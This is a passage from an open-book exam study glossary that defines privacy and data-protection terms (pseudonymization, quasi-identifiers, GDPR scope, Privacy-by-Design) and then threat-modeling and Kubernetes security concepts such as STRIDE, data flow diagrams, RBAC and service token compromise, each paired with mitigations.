Connection: Compared with Gaussian noise, Laplace noise is strongly associated with pure epsilon-differential privacy. Both are privacy tools only when calibrated correctly.

Anonymity Set

An Anonymity Set is the group of possible individuals who could correspond to a record, action, or communication. A larger anonymity set generally means stronger anonymity because the target is hidden among more plausible candidates.

WHY it matters: Many privacy systems are evaluated by how many people a user can hide among. If only one person fits a combination of attributes, the anonymity set size is one and there is no anonymity.

Connection: k-anonymity requires an anonymity set of at least k for each quasi-identifier combination. Mix networks, Tor-style routing concepts, and aggregation also rely on hiding individuals inside a set.

Shannon's Information Entropy

Shannon's Information Entropy measures uncertainty or information content in a probability distribution. In a privacy context, it can describe how uncertain an attacker is about a person's identity or attribute value.

WHY it matters: Privacy is not only yes/no anonymity. If one candidate has 99% probability and all others share 1%, the anonymity set may be large but practical privacy is weak. Entropy captures distribution of uncertainty.

Connection: Entropy connects to anonymity metrics, inference risk, and information leakage. Higher entropy generally means greater uncertainty for the attacker.

Masking (pseudonymization)

Masking replaces part or all of a data value with hidden characters or less precise information. Examples: showing only the last four digits of a card number, replacing an email with a partially obscured version, or hiding a national ID in logs.

WHY it matters: Masking reduces exposure in interfaces, screenshots, support tools, and logs. It is especially useful where employees need partial recognition but not full identifiers.

Connection: Masking is usually pseudonymization or redaction, not anonymization. If the original value exists elsewhere and can be accessed, GDPR still applies.

Hashing (pseudonymization)

Hashing for pseudonymization applies a hash function to an identifier so the original value is not displayed directly. For example, an email address may be transformed into a hash before analytics.

WHY it matters: Hashing can reduce direct exposure, but many identifiers have small or guessable input spaces. Unsalted hashes of emails or phone numbers can often be reversed by dictionary attacks.

Connection: For pseudonymization, use keyed hashes/HMACs or salted hashes where appropriate, protect the secret, and remember that hashed personal data can still be personal data if linkable.

Tokenization (pseudonymization)

Tokenization replaces a sensitive value with a random or meaningless token while storing the mapping in a protected token vault. For example, a payment system may replace a card number with a token.

WHY it matters: Tokenization limits where sensitive data appears. Systems can operate on tokens without exposing the original value, reducing breach impact and compliance scope.

Connection: Tokenization is pseudonymization if the mapping exists. The token vault becomes highly sensitive and must be protected with strong access control, logging, encryption, and key management.

Encryption (pseudonymization)

Encryption can function as pseudonymization when identifying values are transformed into ciphertext and the key is kept separately. Without the key, ordinary users cannot read the original personal data.

WHY it matters: Encryption protects confidentiality at rest, in transit, and sometimes during processing. It can reduce breach risk and is explicitly mentioned in GDPR Article 32 as an appropriate measure.

Connection: Encrypted personal data is still personal data if the controller or another party can decrypt it. Key management determines security: if keys are stored with the data or broadly accessible, protection is weak.

PII Direct Identifiers (names, addresses, SSN, IP addresses, device fingerprints)

Direct Identifiers are data elements that can identify a person directly or very strongly by themselves. Examples include full names, physical addresses, social security or national ID numbers, email addresses, phone numbers, account IDs, IP addresses in context, biometric identifiers, and device fingerprints.

WHY it matters: Direct identifiers create immediate confidentiality and privacy risk. They are often the first fields removed, encrypted, tokenized, or masked in privacy-preserving datasets.

Connection: Removing direct identifiers is not enough for anonymization. Quasi-identifiers and behavioural patterns can still re-identify people when combined with external information.

Quasi-identifiers (gender, date of birth, postal code)

Quasi-identifiers do not necessarily identify a person alone but can identify them when combined. Classic examples are gender, date of birth, postal code, occupation, rare diagnosis, school, timestamps, or location traces.

WHY it matters: Many famous re-identification attacks work by combining quasi-identifiers with public records. A dataset without names can still be personal data if quasi-identifiers make people identifiable.

Connection: k-anonymity, re-coding, suppression, aggregation, and generalization focus heavily on quasi-identifiers.

Facebook-Cambridge Analytica Data Scandal (GDPR violation example)

The Facebook-Cambridge Analytica scandal involved the collection and use of Facebook user data through a third-party app and the use of that data for political profiling and targeting. The case is commonly used as a privacy and data-protection example because data about many people was obtained through social connections, not direct informed participation by each person.

WHY it matters: The scandal illustrates core privacy failures: weak consent, opaque secondary use, platform governance failures, profiling, insufficient control over third-party access, and large-scale political manipulation risk.

Connection: For GDPR-style analysis, it connects to lawful basis, informed consent, purpose limitation, data minimization, transparency, controller responsibility, processor/third-party governance, and the risk of inference from social-network data.

Data Subject (GDPR - the natural person whose data is processed)

A Data Subject is the identified or identifiable natural person to whom personal data relates. If a university processes a student's grades, the student is the data subject. If a website logs a user's IP address and account activity, the user may be the data subject.

WHY it matters: GDPR rights belong to data subjects. The law is built around protecting people, not databases.

Connection: Data subject is defined through personal data. If data is truly anonymized, there is no data subject for that dataset because the information no longer relates to an identifiable person.

Natural Person (GDPR scope)

A Natural Person means a living human being. GDPR protects personal data relating to natural persons, not companies as legal entities. However, information about a sole trader, employee, customer contact, or company representative can still be personal data when it relates to that individual.

WHY it matters: This defines GDPR's personal scope. Data about corporations is not personal data by itself, but business data often contains personal data about people inside the business.

Connection: Deceased persons and legal persons are generally outside GDPR's direct scope, though national laws, confidentiality duties, or ethical rules may still apply.

Ann Cavoukian (introduced Privacy-by-Design, 1995)

Ann Cavoukian is the privacy scholar and former Information and Privacy Commissioner of Ontario associated with the development of Privacy-by-Design in the 1990s. The course highlights her because Privacy-by-Design became a central privacy-engineering principle and influenced GDPR Article 25.

WHY it matters: Privacy-by-Design reframed privacy from legal compliance after deployment to engineering and organizational design from the beginning.

Connection: Her seven foundational principles include proactive not reactive, privacy as default, privacy embedded into design, full functionality, end-to-end security, visibility/transparency, and respect for user privacy.

Privacy-as-Default (one of the 7 Privacy-by-Design principles)

Privacy-as-Default means the default settings of a system should be privacy-protective without requiring the user to search for settings, opt out, or understand complex configuration. The default should collect the least data, expose the least information, and retain data only as necessary.

WHY it matters: Defaults shape real behaviour. Many users never change settings, so privacy-hostile defaults produce large-scale privacy harm even if an opt-out technically exists.

Connection: GDPR Article 25 includes data protection by default. Examples include private profiles by default, location sharing off by default, minimal telemetry, no pre-ticked marketing boxes, and short default retention.

Seven Privacy Sins (Shastri et al. 2019)

The Seven Privacy Sins, proposed by Shastri et al., are a way to describe recurring privacy-design mistakes in software systems. They adapt the idea of security anti-patterns to privacy: systems repeatedly fail not only because of bugs, but because designers make predictable privacy-hostile choices.

WHY it matters: The framework is useful for exam reasoning because it helps identify privacy problems in design, not only in legal text. Examples of privacy sins include excessive collection, unclear notice, lack of user control, insecure data handling, hidden sharing, long retention, and weak accountability depending on the formulation used in the lecture.

Connection: The practical answer is Privacy-by-Design: minimize data, define purpose, make defaults protective, provide transparency, control access, secure the lifecycle, and document accountability.

Solove's Privacy Framework (six properties P1-P6)

Solove's privacy framework is a taxonomy for understanding privacy harms and activities. It moves beyond the simplistic idea that privacy equals secrecy. Solove groups privacy problems around information collection, information processing, information dissemination, and invasion, with harms such as surveillance, aggregation, identification, insecurity, secondary use, exclusion, breach of confidentiality, disclosure, exposure, increased accessibility, blackmail, appropriation, distortion, intrusion, and decisional interference.

WHY it matters: The course reference to six properties P1-P6 is a compact way to remember that privacy has multiple dimensions: not being observed, not being identified, not being linked, not having information disclosed, not being unaware or excluded from control, and not being subject to uncontrolled secondary use/inference.

Connection: Solove complements GDPR and LINDDUN. GDPR provides legal obligations and rights; LINDDUN provides threat categories; Solove provides a conceptual map of privacy harms.

NIST Privacy Framework (5 functions: Identify-P, Govern-P, Control-P, Communicate-P, Protect-P)

The NIST Privacy Framework is a risk-management framework for privacy. Its five functions are Identify-P, Govern-P, Control-P, Communicate-P, and Protect-P. Identify-P maps data processing and privacy risks. Govern-P establishes policies, roles, and risk management. Control-P manages data processing and individuals' participation. Communicate-P handles transparency and communication. Protect-P safeguards data through security controls.

WHY it matters: It gives organizations an operational structure for privacy programs, similar in spirit to the NIST Cybersecurity Framework but focused on privacy risk.

Connection: Protect-P overlaps with cybersecurity, while Control-P and Communicate-P show why privacy is broader than confidentiality. It fits well with GDPR accountability and Privacy-by-Design.

Confidentiality != Privacy (confidentiality is a subset/component)

Confidentiality is the protection of information from unauthorized disclosure. Privacy is broader: it concerns appropriate collection, use, control, transparency, purpose, fairness, identifiability, linkability, inference, retention, and individual rights.

WHY it matters: Many exam mistakes come from treating encryption as a complete privacy solution. Encryption protects data from unauthorized readers, but it does not answer whether the organization should collect the data, whether consent was valid, whether the purpose changed, or whether profiling is fair.

Connection: In CIA terms, confidentiality is a security goal. In GDPR terms, integrity and confidentiality is one principle among several. A privacy-protective system needs confidentiality plus minimization, purpose limitation, accountability, transparency, and rights handling.

Digital Omnibus (EU renegotiation of GDPR aspects)

Digital Omnibus refers to EU simplification proposals intended to amend and streamline parts of the digital regulatory framework, including data, cybersecurity, privacy, AI, and related rules. In the course context, it matters because some GDPR-related obligations and adjacent digital rules were being politically renegotiated rather than treated as frozen forever.

WHY it matters: Data-protection law evolves. For exam purposes, the stable baseline is still GDPR's core model: personal data, lawful basis, principles, rights, security, DPIAs, breach notification, and accountability. The Digital Omnibus is best understood as a proposed regulatory simplification process, not as a reason to ignore GDPR.

Connection: Track the distinction between current law and proposed changes. A proposal may discuss thresholds, reporting deadlines, cookie/consent rules, DPIA templates, or definitions, but until adopted

and in force, the exam-safe answer should state the GDPR baseline and mention that EU institutions are considering amendments/simplifications.

CYBERSECURITY COURSE

Threat Modeling, Kubernetes Security, and VirtualBox / Lab Environment

Open-Book Exam Reference - Use Ctrl+F / Cmd+F to find any term

This section expands the selected course terms in the same open-book style as the existing definition reference: broad definition, why it matters, what it is for, and connections to related exam concepts. The bullet-list pages in the original term list are treated as placeholders; this document supplies the full definitions.

■ THREAT MODELING

Threat Modeling

Threat Modeling is a structured security process for asking: what are we building, what can go wrong, what are we going to do about it, and did we do a good job? It models the system before or during development, identifies predictable threats, maps mitigations, and validates that the model and the mitigations are still correct.

WHY it matters: Threat modeling moves security earlier in the SDLC. It is cheaper and safer to find a missing trust boundary, weak authentication flow, or exposed data store during design than after deployment or after an incident.

Connection: Threat modeling is not the same as vulnerability scanning or code review. Scanning checks a running system for known issues; code review inspects implementation; threat modeling reasons about design, data flows, trust boundaries, and attacker goals. The course flow is: Model System -> Find Threats -> Address Threats -> Validate.

Attack Tree

An Attack Tree is a branching, hierarchical diagram that shows how an attacker could achieve a goal. The root node is the attacker goal, such as "steal account" or "get root". Branches and leaf nodes represent possible sub-goals and techniques that lead to that goal.

WHY it matters: Attack trees turn vague attacker thinking into a structured checklist. They help you see alternative paths, prerequisites, and shared weaknesses. If several branches depend on the same missing control, that control becomes high priority.

Connection: Attack trees complement STRIDE and DFDs. STRIDE gives categories of threats; DFDs show where threats may appear; attack trees show how an attacker could combine steps. They can also support prioritization by cost, likelihood, or required access.

Security Boundary

A Security Boundary is a line across which security policy is enforced. Crossing it should require a control such as authentication, authorization, input validation, encryption, sandboxing, or an operating-system permission check.

WHY it matters: Many serious vulnerabilities happen because developers assume a boundary exists when it does not. A UI screen, API convention, or folder name is not a real boundary unless enforcement prevents unauthorized behavior.

Connection: Security boundaries are closely related to trust boundaries. In exam terms, a trust boundary describes where trust assumptions change; a security boundary is the enforcement mechanism that should protect that change.

Trust Boundary

A Trust Boundary is a point in a design where data or control crosses between entities with different privileges, owners, assumptions, or trust levels. Examples: internet user -> web app, web app -> database, user-controlled input -> parser, pod -> Kubernetes API server, guest VM -> host.

WHY it matters: Threats cluster around trust boundaries because data crossing the boundary may be malicious, untrusted, or less privileged. Effective threat modeling requires making these boundaries explicit instead of leaving them implicit.

Connection: In a DFD, a trust boundary is often drawn as a dashed line. Every data flow crossing it should trigger questions from STRIDE: can someone spoof identity, tamper with data, deny an action, disclose information, cause DoS, or elevate privileges?

Asset

An Asset is anything valuable that needs protection. Assets can be data, services, availability, credentials, cryptographic keys, execution rights, source code, reputation, logs, cloud resources, Kubernetes tokens, or even a compromised machine that could be used as a stepping stone.

WHY it matters: Threat modeling needs to know what the system must protect. However, starting only from assets can be misleading: attackers may value something the business does not initially recognize, such as compute resources or internal network position.

Connection: Assets connect threat modeling to the CIA Triad. Confidentiality protects sensitive assets from disclosure, integrity protects assets from unauthorized modification, and availability protects assets from disruption.

STRIDE (methodology for identifying and categorizing threats)

STRIDE is a threat-identification methodology that organizes threats into six categories: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. Each category maps to a security property that can be violated.

WHY it matters: STRIDE gives a systematic checklist. Instead of relying on random brainstorming, you apply each STRIDE category to each relevant DFD element, data flow, and trust-boundary crossing.

Connection: STRIDE maps strongly to core security concepts: Spoofing -> Authentication, Tampering -> Integrity, Repudiation -> Accountability, Information Disclosure -> Confidentiality, Denial of Service -> Availability, and Elevation of Privilege -> Authorization.

Misuse Case

A Misuse Case describes how a system could be used in an unwanted or abusive way. It is the negative version of a normal use case: instead of "user logs in", a misuse case might be "attacker guesses passwords", "attacker replays a session token", or "insider exports all customer records".

WHY it matters: Misuse cases make security requirements concrete. They help designers ask what the system must prevent, detect, log, or recover from.

Connection: Misuse cases are closely related to abuse cases, attack trees, and STRIDE. A misuse case can become a scenario in a threat model, and each scenario should be mapped to mitigations and tests.

Residual Risk

Residual Risk is the risk that remains after controls, mitigations, and design changes have been applied. No realistic system reaches zero risk; residual risk is what the organization knowingly lives with after treatment.

WHY it matters: Security decisions are trade-offs. A team may mitigate a high-risk issue, eliminate an unnecessary feature, transfer some risk contractually, and accept a small remaining risk with documented approval.

Connection: Residual risk is the output of risk treatment. In the core vocabulary: vulnerability is the weakness, threat is the potential harmful event, risk is likelihood x impact, mitigation reduces risk, and residual risk is what remains.

DREAD (Damage, Reproducibility, Exploitability, Affected Users, Discoverability)

DREAD is an older Microsoft-style risk scoring model that rates threats across five factors: Damage, Reproducibility, Exploitability, Affected Users, and Discoverability. Scores are combined to rank which threats deserve attention first.

WHY it matters: It shows that threat modeling needs prioritization, not just a long list of threats. A threat causing total system takeover to all users should be treated differently from a difficult-to-exploit issue with limited impact.

Connection: Modern practice often prefers qualitative High/Medium/Low or risk matrix approaches because numeric DREAD scores can create false precision. Still, the five factors are useful exam vocabulary and help explain why one threat is more urgent than another.

Shostack's Threat Modeling: Designing for Security (course textbook)

Adam Shostack's Threat Modeling: Designing for Security is the course textbook associated with a practical, engineering-oriented approach to threat modeling. The central idea is to make threat modeling predictable, reliable, scalable, and practical for real technology.

WHY it matters: The book frames threat modeling as a process rather than a one-time creative exercise. It emphasizes diagrams, structured threat discovery, addressing threats, and validation.

Connection: The course's four-question/four-step style - model the system, find threats, address threats, validate - is strongly aligned with Shostack's approach and with the practical use of DFDs and STRIDE.

STRIDE - Spoofing (violates Authentication)

Spoofing is pretending to be someone or something else: a user, service, process, device, API client, pod, or host. It violates Authentication because the system accepts a false identity claim.

WHY it matters: Once identity is spoofed, later authorization decisions become meaningless. If an attacker can impersonate an admin, service account, or trusted workload, the system may grant legitimate-looking access.

Connection: Mitigations include strong authentication, MFA, certificate validation, signed tokens, secure service identity, secret protection, anti-phishing controls, and avoiding default credentials. In Kubernetes, service token compromise and weak API authentication are spoofing-related concerns.

STRIDE - Tampering (violates Integrity)

Tampering is unauthorized modification of data, code, messages, configuration, logs, images, or system state. It violates Integrity because the system can no longer trust that information or behavior remains correct.

WHY it matters: Tampering can be subtle. An attacker may change a transaction amount, alter a container image, modify an audit log, inject a malicious dependency, or change a Kubernetes RBAC rule.

Connection: Mitigations include authorization, digital signatures, HMAC/MACs, checksums, code signing, immutable logs, TLS, image signing, admission control, and controlled update pipelines.

STRIDE - Repudiation (violates Non-repudiation / Accountability)

Repudiation means a user or component performs an action and later denies it, or the system cannot prove what happened. It violates Non-repudiation and Accountability because evidence is missing, incomplete, mutable, or not attributable.

WHY it matters: Without reliable logs and audit trails, incident response becomes guesswork. Organizations cannot prove who changed a permission, deleted a record, deployed an image, or accessed sensitive data.

Connection: Mitigations include audit logging, authenticated actions, timestamps, signed logs, tamper-resistant log storage, correlation IDs, and clear ownership. Kubernetes audit logging is a direct example of a repudiation mitigation.

STRIDE - Information Disclosure (violates Confidentiality)

Information Disclosure is unauthorized exposure of information. It can involve data at rest, data in transit, logs, memory, error messages, backups, metadata, secrets, or unintended API responses.

WHY it matters: Disclosure can be the entire breach even when no data is modified. Credentials, tokens, keys, personal data, internal endpoints, or memory contents may enable later attacks.

Connection: Mitigations include encryption, TLS, access control, least privilege, secret management, safe error handling, data minimization, and memory-safe implementation. Heartbleed is a classic information-disclosure example because it leaked OpenSSL process memory.

STRIDE - Denial of Service (violates Availability)

Denial of Service is preventing legitimate users or components from obtaining service. It can be temporary, such as flooding a network, or persistent, such as filling a disk, exhausting a quota, or corrupting a required resource.

WHY it matters: Availability is a security property. A system can be confidential and intact but still fail its purpose if users cannot access it when needed.

Connection: Mitigations include rate limiting, throttling, quotas, resource limits, load shedding, redundancy, autoscaling, circuit breakers, request validation, and incident response. Kubernetes resource requests, limits, and quotas are direct DoS defenses.

STRIDE - Elevation of Privilege / EoP (violates Authorization)

Elevation of Privilege happens when a user, process, container, or service gains permissions beyond what it should have. It violates Authorization because the system allows actions outside the intended permission model.

WHY it matters: EoP turns a small foothold into a larger compromise. A low-privilege web process becoming root, a pod obtaining cluster-admin rights, or a user bypassing role checks can lead to full system takeover.

Connection: Mitigations include least privilege, RBAC, sandboxing, privilege separation, input validation, patching, secure defaults, container restrictions, and strong admission controls. In Kubernetes, RBAC misconfiguration is a common EoP path.

PASTA (Process for Attack Simulation and Threat Analysis)

PASTA is a risk-centric threat modeling methodology: Process for Attack Simulation and Threat Analysis. It emphasizes business impact, attacker simulation, and linking technical attack paths to organizational risk.

WHY it matters: PASTA is useful when the organization wants threat modeling to connect directly to risk management and business consequences, not only to technical checklists.

Connection: Compared with STRIDE, PASTA is broader and more risk-analysis oriented. STRIDE is easy to apply to DFD elements; PASTA is stronger for scenario-driven analysis, business impact, and attack simulation.

Data Flow Diagram (DFD)

A Data Flow Diagram is a structured model of how data moves through a system. It abstracts the system into processes, data stores, data flows, external entities, and trust boundaries.

WHY it matters: Threats often follow data. A DFD helps a team see where untrusted input enters, where sensitive data is stored, where data crosses trust boundaries, and where security controls must exist.

Connection: DFDs are the main diagram type used with STRIDE and the Microsoft Threat Modeling Tool. A good DFD focuses on data flow, not control flow; vague labels and dead ends usually mean the model needs more detail.

DFD Element - Process (running code that transforms data)

A Process in a DFD is running code that handles or transforms data. Examples: a web application, API service, authentication module, parser, background worker, containerized service, or Kubernetes controller.

WHY it matters: Processes are places where input becomes behavior. Bugs, missing validation, unsafe deserialization, authorization errors, and memory problems often live inside processes.

Connection: STRIDE can be applied to a process: can it be spoofed, can its inputs be tampered with, can it deny actions, can it leak data, can it be DoSed, or can it be used for EoP?

DFD Element - Data Store (files, databases, logs)

A Data Store is where data is stored: files, databases, object storage, logs, caches, configuration stores, backups, registries, or etcd in Kubernetes. A data store does not transform data by itself, but it is a major protection target.

WHY it matters: Data stores often contain the most valuable assets: credentials, personal data, business records, audit logs, cluster state, and secrets. Unauthorized read, write, or delete operations can violate any part of CIA.

Connection: STRIDE examples: tampering with records, information disclosure from a backup, DoS by filling storage, repudiation by altering logs, or EoP by changing stored permissions.

DFD Element - Data Flow (path by which data moves)

A Data Flow is a path by which data moves between DFD elements. It may be an HTTP request, database query, message queue event, file transfer, API call, DNS lookup, service-to-service request, or Kubernetes API interaction.

WHY it matters: Data in motion can be intercepted, modified, replayed, delayed, or redirected. If a data flow crosses a trust boundary, it deserves special attention.

Connection: STRIDE questions for a data flow include: can an attacker spoof the sender, tamper with the message, read confidential data, replay the request, flood the flow, or use it to reach a higher privilege zone? TLS protects confidentiality and integrity for many network data flows.

DFD Element - External Entity (people, clients, third-party services)

An External Entity is something outside the system being modeled that interacts with it. Examples: users, administrators, browsers, mobile apps, payment providers, identity providers, cloud APIs, suppliers, and attackers pretending to be legitimate clients.

WHY it matters: External entities are usually not under the system owner's full control. They often provide untrusted input and may have different goals, privileges, or failure modes.

Connection: External entities create entry points and trust-boundary crossings. Their authentication and authorization level must be explicit so the model can detect spoofing and elevation-of-privilege risks.

Swim-Lane Diagram

A Swim-Lane Diagram shows multiple participants or components in separate lanes and illustrates the messages or actions exchanged between them over time. It is useful for workflows involving more than one entity.

WHY it matters: Security failures often occur in the gaps between participants: missing verification, confused deputy problems, replayable messages, unclear ownership, or incorrect assumptions about who checked what.

Connection: Swim lanes are useful for network protocols, login flows, approval workflows, and multi-service communication. The lanes imply boundaries between actors, but trust boundaries still need to be reasoned about explicitly.

State Machine (security-state transitions)

A State Machine models the valid states of a system and the allowed transitions between them. In security, states may include unauthenticated, authenticated, locked, admin, pending approval, token issued, token expired, or compromised.

WHY it matters: Many vulnerabilities are invalid transitions: skipping authentication, reusing an expired token, performing admin actions before approval, or reaching a privileged state through an unintended path.

Connection: State machines complement DFDs. DFDs show where data goes; state machines show what changes the security state. They are especially useful for authentication, session management, payment workflows, and recovery flows.

Heartbleed (information-disclosure example - memory bug in OpenSSL)

Heartbleed was a vulnerability in OpenSSL's TLS heartbeat implementation that allowed a peer to read portions of process memory from a vulnerable server or client. It is a classic Information Disclosure example because attackers could obtain memory contents without normal authorization.

WHY it matters: Memory disclosure can expose private keys, session cookies, passwords, tokens, or other sensitive data. The system may appear to keep running normally, making detection difficult.

Connection: In STRIDE, Heartbleed maps primarily to Information Disclosure and Confidentiality. It also shows why memory safety, robust bounds checking, patching, certificate/key rotation, and incident response matter.

Fuzzing / Fault Injection (testing technique, not a mitigation)

Fuzzing is a testing technique that feeds unexpected, random, malformed, or high-volume inputs to software to find crashes, memory errors, parser bugs, and validation failures. Fault injection deliberately introduces failures, unusual states, or corrupted inputs to observe behavior.

WHY it matters: These techniques help find implementation weaknesses that threat modeling predicts may matter, especially around parsers, protocols, file formats, APIs, and trust-boundary inputs.

Connection: Fuzzing is not itself a mitigation. It is evidence-gathering and quality assurance. The mitigation is fixing the discovered bug, adding validation, improving error handling, sandboxing the parser, or changing the design.

Bug Bar (threat prioritization method)

A Bug Bar is a prioritization standard that defines which security bugs must be fixed at which severity before release. It sets an agreed threshold for acceptable and unacceptable risk.

WHY it matters: Teams need consistent decisions. Without a bug bar, similar issues may be handled differently depending on who reports them, deadlines, or subjective pressure.

Connection: A bug bar connects threat modeling to engineering workflow. Identified threats become issues in a tracker; the bug bar determines severity, required fix timeline, release blocking status, and acceptance criteria.

Threat Mitigation Strategies: Mitigate / Eliminate / Transfer / Accept

Threat mitigation strategies describe what the organization does with a risk. Mitigate means add or improve controls. Eliminate means remove the risky feature, dependency, or exposure. Transfer means shift some financial or operational risk through contracts, outsourcing, or insurance. Accept means consciously live with the risk.

WHY it matters: Not every risk is handled by adding a technical control. Sometimes the safest decision is to remove a feature; sometimes residual risk is accepted because the cost of mitigation is disproportionate.

Connection: These strategies should be documented for each important threat. Accepting risk requires ownership and justification; transferring risk does not remove all responsibility; mitigating risk should include validation and tests.

Attack Library (OWASP, CAPEC, CVE, NVD, CMU, Exploit-DB)

An Attack Library is a source of known attacks, vulnerabilities, weakness patterns, exploit examples, or defensive guidance that helps threat modelers avoid starting from a blank page. Examples include OWASP, CAPEC, CVE, NVD, CMU Vulnerability Notes, and Exploit-DB.

WHY it matters: Threat modeling improves when it uses real attack knowledge, not only imagination. Libraries help teams remember common web risks, attack patterns, known CVEs, vulnerability details, and public exploit availability.

Connection: Each library has a different role: OWASP gives application-security guidance; CAPEC describes attack patterns; CVE identifies specific vulnerabilities; NVD enriches CVEs with scoring and affected products; CMU notes analyze selected vulnerabilities; Exploit-DB provides public exploit demonstrations for authorized research.

CMU Vulnerability Notes Database

The CMU Vulnerability Notes Database is a vulnerability information source historically associated with the CERT Coordination Center at Carnegie Mellon University. It provides notes about selected vulnerabilities, affected vendors, impact, and mitigation information.

WHY it matters: It is useful when a vulnerability affects multiple vendors or needs coordinated disclosure context. It can explain practical impact and workarounds beyond a minimal CVE entry.

Connection: In the attack-library list, CMU Vulnerability Notes complements CVE and NVD. CVE gives the identifier, NVD provides standardized enrichment, and CMU notes can provide curated analysis and coordination context.

Threat-Modeling Flow: Model System -> Find Threats -> Address Threats -> Validate

The core threat-modeling flow is: Model System, Find Threats, Address Threats, and Validate. First create a model such as a DFD. Then identify threats using STRIDE, attack trees, misuse cases, and libraries. Then decide mitigations or risk treatment. Finally validate both the model and whether threats are actually addressed.

WHY it matters: The flow makes threat modeling repeatable. It prevents teams from stopping after a diagram or after a brainstormed list of threats without mapping controls and checking results.

Connection: Validation checks two things: whether the model is complete and accurate, and whether every important threat has documentation, an owner, a risk strategy, and ideally a test or verification step.

■ KUBERNETES SECURITY

Kubernetes

Kubernetes, often shortened to K8s, is an open-source platform for automating deployment, scaling, and management of containerized applications. It schedules workloads onto nodes, manages desired state, exposes services, and provides APIs for orchestration.

WHY it matters: Kubernetes is powerful infrastructure. A mistake in authentication, RBAC, network policy, container configuration, image supply chain, or secrets handling can affect many workloads at once.

Connection: Kubernetes threat modeling applies the same core ideas: identify assets such as cluster state and secrets, model components such as API server and etcd, identify trust boundaries, apply STRIDE, and validate mitigations.

4Cs of Cloud-Native Security: Cloud, Cluster, Container, Code

The 4Cs are layered security areas for cloud-native systems: Cloud, Cluster, Container, and Code. Cloud covers the underlying infrastructure; Cluster covers Kubernetes configuration and control plane; Container covers images, runtime, and isolation; Code covers the application itself.

WHY it matters: Security is defense-in-depth. A weakness in the application may be limited by container restrictions; a container escape may be limited by node and cloud controls; a cloud misconfiguration may expose the entire cluster.

Connection: The 4Cs map naturally to attack surface. Cloud is infrastructure attack surface, Cluster is Kubernetes API and policy surface, Container is runtime and image surface, and Code is application logic and dependency surface.

Control Plane

The Control Plane is the set of components that manage the overall state of a Kubernetes cluster. It includes the API server, etcd, scheduler, controller manager, and often cloud-controller-manager.

WHY it matters: Compromise of the control plane can become compromise of the cluster. It controls scheduling, secrets access, RBAC, workload definitions, and cluster state.

Connection: Control-plane hardening includes strong API authentication, RBAC, TLS, audit logging, etcd protection, admission control, network restrictions, and secure configuration of control-plane endpoints.

Worker Nodes

Worker Nodes are machines that run containerized workloads. A node typically runs kubelet, kube-proxy, and a container runtime such as containerd or CRI-O.

WHY it matters: A compromised workload may try to attack the node, steal service account tokens, contact the API server, abuse host mounts, or pivot to other pods. Node security is therefore part of cluster security.

Connection: Node-level threats include compromised containers, insecure kubelet access, container escape, excessive privileges, weak network policy, and missing runtime hardening.

RBAC (Role-Based Access Control)

RBAC is an authorization model where permissions are assigned to roles and then bound to users, groups, or service accounts. In Kubernetes, Roles and ClusterRoles define allowed API actions; RoleBindings and ClusterRoleBindings assign them.

WHY it matters: RBAC enforces least privilege for humans, controllers, workloads, and service accounts. Overly broad permissions are one of the most common Kubernetes attack paths.

Connection: RBAC mitigates Elevation of Privilege when correctly configured. Dangerous patterns include cluster-admin bindings for ordinary service accounts, wildcard verbs/resources, unnecessary secrets access, and permissions to create pods with powerful privileges.

ABAC (Attribute-Based Access Control)

ABAC is an authorization model based on attributes such as user, group, resource, namespace, or request properties. Kubernetes historically supported ABAC policy files, but modern clusters normally use RBAC as the standard authorization mechanism.

WHY it matters: ABAC can be flexible but hard to manage safely at scale. Broad or outdated ABAC policies may grant more access than intended.

Connection: The important exam distinction is RBAC vs ABAC. RBAC grants permissions through roles; ABAC grants permissions through attribute-matching rules. Kubernetes security guidance generally centers on RBAC and least privilege.

Pod Security Policies

Pod Security Policies (PSP) were a Kubernetes mechanism for controlling security-sensitive pod settings such as privileged mode, host networking, hostPath volumes, Linux capabilities, and user IDs. PSP is now a removed legacy feature.

WHY it matters: Older course material or old clusters may still mention PSP, but modern Kubernetes uses different mechanisms. Knowing PSP helps understand the security problem: restricting dangerous pod configurations.

Connection: PSP was deprecated in Kubernetes v1.21 and removed in v1.25. The modern built-in replacement is Pod Security Admission, often supplemented by third-party admission controllers such as policy engines.

Network Policies

Network Policies are Kubernetes resources that control network traffic between pods, namespaces, and sometimes external endpoints. They define which ingress and egress traffic is allowed for selected pods.

WHY it matters: Without network policies, many clusters allow broad pod-to-pod communication by default. A compromised pod can then scan or attack internal services.

Connection: Network policies reduce attack surface and help contain compromised containers. They are a mitigation for lateral movement, information disclosure, and DoS paths, but they require a network plugin that enforces them.

Kubernetes Secrets

Kubernetes Secrets are objects intended to hold small amounts of sensitive data such as passwords, tokens, keys, and certificates. They allow sensitive values to be referenced by pods without putting them directly into application code or container images.

WHY it matters: Secrets are high-value assets. If a pod, service account, node, etcd, or CI/CD pipeline can read secrets unnecessarily, compromise can spread quickly.

Connection: Secrets should be protected with RBAC, encryption at rest, least privilege, rotation, careful mounting, and avoiding plaintext leaks into logs or images. Secret exposure maps to Information Disclosure in STRIDE.

Audit Logging

Audit Logging in Kubernetes records security-relevant actions against the API server, including requests from users, applications, and control-plane components. Audit events can show who did what, when, from where, and whether it succeeded.

WHY it matters: Logs are essential for accountability, incident response, detection, and forensics. Without audit logs, a cluster may not be able to prove who changed RBAC, created a privileged pod, or accessed a secret.

Connection: Audit logging is a mitigation for Repudiation. It should be protected from tampering and integrated with monitoring or SIEM where appropriate.

Service Token Compromise

Service Token Compromise occurs when an attacker obtains a Kubernetes service account token and uses it to authenticate to the API server as that service account.

WHY it matters: Pods often receive service account tokens automatically. If a compromised container can read a token, the attacker may gain API access according to that service account's RBAC permissions.

Connection: Mitigations include least-privilege RBAC, disabling unnecessary automounting, using short-lived projected tokens, restricting metadata/token access, network controls, secret hygiene, and audit logging of suspicious API use.

Compromised Container

A Compromised Container is a container where an attacker has gained code execution or control, often through application vulnerability, malicious image, exposed shell, vulnerable dependency, or stolen credentials.

WHY it matters: A compromised container is a foothold inside the cluster. The attacker may read mounted secrets, scan services, attack the node, contact the API server, or attempt lateral movement.

Connection: Controls include minimal images, patching, non-root execution, read-only filesystems, dropping Linux capabilities, seccomp/AppArmor/SELinux, network policies, RBAC least privilege, and runtime monitoring.

CNCF (Cloud Native Computing Foundation)

The CNCF is the Cloud Native Computing Foundation, the organization that hosts and supports many cloud-native open-source projects, including Kubernetes. It is part of the Linux Foundation ecosystem.

WHY it matters: CNCF provides the ecosystem context for Kubernetes, cloud-native security guidance, and related tools. Kubernetes security is not just one product; it sits within a wider cloud-native supply chain.

